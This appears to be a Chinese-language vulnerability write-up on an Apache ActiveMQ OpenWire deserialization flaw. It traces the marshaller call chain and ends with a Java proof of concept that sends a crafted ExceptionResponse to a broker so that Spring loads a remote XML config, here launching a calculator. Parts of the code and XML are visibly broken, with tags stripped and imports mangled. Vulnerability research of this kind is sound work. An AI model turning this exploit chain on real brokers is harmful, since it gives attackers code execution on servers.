漏洞描述

ActiveMQ中对应消息的传递有着自己的序列化/反序列化逻辑,不过反序列化至对象的过程中不调用通用方法辅助(区别传统反序列化调用readobject)

并且该反序列化不是通用的(即每个类的反序列化过程都不一样)

漏洞点源于org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable方法存在可控的任意调用,而这个可控的任意调用可以由ExceptionResponse这个类的序列化操作器ExceptionResponseMarshaller触发,所以只需要传递ExceptionResponse类,服务端接收后会自动触发ExceptionResponse类的反序列化,该反序列化由ExceptionResponseMarshaller#​looseUnmarshal执行,ExceptionResponseMarshaller#looseUnmarshal最终会调用到org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#​createThrowable方法

说明:Marshaller意为序列化器(反序列化也由其执行),Unmarshal意为反序列化,looseUnmarshal意为松散的反序列方法

调用链探究

BaseDataStreamMarshaller#createThrowable方法,可以执行传入类的构造方法,不过要求该类的构造方法参数为string

查找引用

BaseDataStreamMarshaller#looseUnmarsalThrowable方法,反射调用的逻辑参数仍由上层传递

查找引用

ExceptionResponseMarshaller#looseUnmarshal,参数仍然由上层传递

之后就不能直接查找调用了,根据super找到父类的looseUnmarshal方法

BaseCommandMarshaller#looseUnmarshal

BaseDataStreamMarshaller#looseUnmarshal又回到了这个类

实际上这相当于一个接口,业务逻辑还是主要在BaseCommandMarshaller#looseUnmarshal

到此已经不能向上跟踪了,只能是动态调试看一下BaseCommandMarshaller#looseUnmarshal是如何触发的

后面需要动态调试了,构思课设我又动调不了,先看看反病毒去了,算了,这轻薄本也不好调试,还是先看看其他的漏洞把基础逻辑滤清一下

动态调试确定是OpenwireFormat根据datetype的类型来调用指定的类型的looseUnmarshal

调用栈

需要的参数是dataIn

原型是DataInputStream

然后跟进一下send发送对象的流程,观察对象是如何发送的,以及思考如何发送一个ExceptionResponse类的消息,最终的消息发送是通过TcpTransport#Oneway

调用过程栈如下

TcpTransport这个oneway()方法里面传入的Object Command实际上就是我们正常发送消息使用的producer.send(ObjectMessage)里面的ObjectMessage,不过正常的producer.send(ObjectMessage)中的ObjectMessage不能直接写ExceptionResponse,所以这里通过更底层的TcpTransport#oneway构建

正确的发送情况如下

XML
TextMessage message = session.createTextMessage(“Hello, ActiveMQ!”);
producer.send(message);

还有许多种Message类,例如ObjectMessage

不过要发送的内容需要是Message的子类,不能直接发送

而如果直接通过底层API发送就忽略了检查这一步,所以使用TcpTransport#oneway()直接发送

利用链探究

接下来思考构造函数为string类型的利用链

这块其实跟PostgreSQL JDBC的利⽤类似, 因为 ActiveMQ ⾃带 spring 相关依赖, 那么就可以利⽤ ClassPathXmlApplicationContext 加载 XML 实现 RCE

不过这里还存在一个问题就是调用链过程中throwable检测,例如下图的强制类型转换,而ClassPathXmlApplicationContext类没有throwable属性,此处的手段是手动写一个ClassPathXmlApplicationContext集成自throwable,activemq仍然会寻找到正常的ClassPathXmlApplicationContext

Java 序列化过程依赖于类的全限定名称(即 包名.类名),通过该名称来确定序列化数据中的对象应该如何被反序列化。自定义类ClassPathXmlApplicationContext

XML
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String mesaage){
super(mesaage);
}
}

poc.xml配置

XML
<?xml version="1.0" encoding="utf-8"?>





open
-a
calculator



POC

XML
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.transport.AbstractInactivityMonitor;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.jms. ;import java.io. ;
import java.lang.reflect.Method;

public class MYPOC {

public static void main(String[] args) throws Exception {
String brokerUrl = “tcp://127.0.0.1:61616”;
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);
Connection connection = connectionFactory.createConnection();
connection.start();
Throwable obj = new ClassPathXmlApplicationContext(“D:\source_code\JAVA\ActiveMq_Spring\src\main\resources\poc.xml”);
ExceptionResponse exceptionResponse = new ExceptionResponse(obj);

((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
connection.close();


}}